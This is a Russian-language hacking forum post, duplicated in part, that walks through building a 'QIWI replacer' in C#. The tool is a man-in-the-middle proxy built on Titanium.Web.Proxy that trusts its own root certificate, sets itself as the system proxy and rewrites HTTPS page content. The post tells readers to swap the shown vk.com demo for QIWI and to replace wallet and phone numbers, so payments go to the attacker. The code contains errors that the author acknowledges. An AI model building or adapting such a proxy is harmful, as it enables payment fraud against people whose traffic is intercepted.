Bug
Through thorns to stars
Администратор

Bug
Through thorns to stars
Администратор
- Сообщения
- 1,491
- Реакции
- 2,939
Одна из старых архивных статеек =)
Выкладыаю по просьбе одного из форумчан
Ну-с приступим
Напишем данный чудо-юдо киви подменятель, заменитель, наебатель (нужное подчеркнуть)
Открываем VS (главное чтобы скин был темный у студии, а то не получится)
[0x01] Создаем новый проект
[0x02] Накидываем на форму texbox и бутонку
[0x03] Теперь используя волшебные клавиши ctrl+c и ctrl+v cкопипастим чужой код напишем наш код
Как пишет автор в коде есть ошибки от ИлИтных пЫонЭрав профессионалов своего дела
Ну нам это не почем куле =)
[0x04] Подключаем через NuGet или скачиваем библиотеку Titanium.Web.Proxy
[0x05] Исправляем ошибки, они не сложные все 4 штуки :-D
[0x06] Изменяем vk.com на нужное нам qiwi. Так же меняем нужные для замены данные
[0x07] Проводим тестирование. Я слегка модернизировал и сделал замену для rub кошелька и для $, а так же и для номера телефона. Мы же Анунимусы
[0x08] Финальнный эпизод. Тестирование
Вводим нужные данные...Барабанная дробь
Ахтунг наебайтен, шарлотанен
Все теперь смело можно бегать по раЙону и смелокидать показывать фокусы пЫонЭрам
Сорсы не выкладываю ибо заебешся потом блеки разгребать
P.S Чуть позже дополню...
P.S.S. Прошло 3 года, но так и не дополнил =)
Выкладыаю по просьбе одного из форумчан
Ну-с приступим

Напишем данный чудо-юдо киви подменятель, заменитель, наебатель (нужное подчеркнуть)
Открываем VS (главное чтобы скин был темный у студии, а то не получится)
[0x01] Создаем новый проект

[0x02] Накидываем на форму texbox и бутонку

[0x03] Теперь используя волшебные клавиши ctrl+c и ctrl+v
C#:
using System;
using System.Net;
using System.Threading.Tasks;
using Titanium.Web.Proxy;
using Titanium.Web.Proxy.EventArguments;
using Titanium.Web.Proxy.Models;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
ProxyServer proxy = new ProxyServer();
proxy.TrustRootCertificate = true;
proxy.BeforeRequest -= OnRequest; // Подписываем методы запрос
proxy.BeforeResponse -= OnResponse; // Подписываем методы ответа
proxy.ServerCertificateValidationCallback -= OnCertificateValidation; // Получени сертификата для SSL
proxy.ClientCertificateSelectionCallback -= OnCertificateSelection;
// Создаем точки входа и исключения
ExplicitProxyEndPoint explicitEndPoint = new ExplicitProxyEndPoint(IPAddress.Any, 8000, true);
proxy.AddEndPoint(explicitEndPoint);
proxy.Start();
var transparentEndPoint = new TransparentProxyEndPoint(IPAddress.Any, 8001, true)
{
GenericCertificateName = "google.com"
};
proxy.AddEndPoint(transparentEndPoint);
foreach (ProxyEndPoint endPoint in proxy.ProxyEndPoints)
Console.WriteLine("Listening on '{0}' endpoint at Ip {1} and port: {2} ",
endPoint.GetType().Name, endPoint.IpAddress, endPoint.Port);
// Устанавливаем прокси
proxy.SetAsSystemHttpProxy(explicitEndPoint);
proxy.SetAsSystemHttpsProxy(explicitEndPoint);
Console.Read();
proxy.BeforeRequest -= OnRequest;
proxy.BeforeResponse -= OnResponse;
proxy.ServerCertificateValidationCallback -= OnCertificateValidation;
proxy.ClientCertificateSelectionCallback -= OnCertificateSelection;
proxy.Stop();
}
public static async Task OnRequest(object sender, SessionEventArgs e)
{
Console.WriteLine(e.WebSession.Request.Url);
requestHeaders = e.WebSession.Request.RequestHeaders;
var method = e.WebSession.Request.Method.ToUpper();
if ((method == "POST"))
{
byte[] bodyBytes = await e.GetRequestBody();
await e.SetRequestBody(bodyBytes);
string bodyString = await e.GetRequestBodyAsString();
await e.SetRequestBodyString(bodyString);
}
}
public static async Task OnResponse(object sender, SessionEventArgs e)
{
var responseHeaders = e.WebSession.Response.ResponseHeaders;
if (e.WebSession.Request.Method == "GET" || e.WebSession.Request.Method == "POST")
{
// Если всё ок возвращаем ответ
if (e.WebSession.Response.ResponseStatusCode == "200")
{
if (e.WebSession.Response.ContentType != null && e.WebSession.Response.ContentType.Trim().ToLower().Contains("text/html"))
{
byte[] bodyBytes = await e.GetResponseBody();
await e.SetResponseBody(bodyBytes);
// если запрашиваем вконтакте
if (e.WebSession.Request.Url.Contains("vk.com"))
{
//то изменяем верстку
string body = e.GetResponseBodyAsString();
await e.SetResponseBodyString(body.Replace(@"<span class=""current_text"">W.E.L.C.O.M.E..</span>", @"<span class=""current_text"">Специально для Codeby</span>"));
}
else
{
string body = await e.GetResponseBodyAsString();
await e.SetResponseBodyString(body);
}
}
}
}
}
public static Task OnCertificateValidation(object sender, CertificateValidationEventArgs e)
{
if (e.SslPolicyErrors = System.Net.Security.SslPolicyErrors.None)
e.IsValid = true;
return Task.FromResult(0);
}
public static Task OnCertificateSelection(object sender, CertificateSelectionEventArgs e)
{
return Task.FromResult(0);
}
}
}
Ну нам это не почем куле =)
[0x04] Подключаем через NuGet или скачиваем библиотеку Titanium.Web.Proxy


Код:
Install-Package Titanium.Web.Proxy
[0x06] Изменяем vk.com на нужное нам qiwi. Так же меняем нужные для замены данные
[0x07] Проводим тестирование. Я слегка модернизировал и сделал замену для rub кошелька и для $, а так же и для номера телефона. Мы же Анунимусы
[0x08] Финальнный эпизод. Тестирование

Вводим нужные данные...Барабанная дробь

Ахтунг наебайтен, шарлотанен

Все теперь смело можно бегать по раЙону и смело
Сорсы не выкладываю ибо заебешся потом блеки разгребать
P.S Чуть позже дополню...
P.S.S. Прошло 3 года, но так и не дополнил =)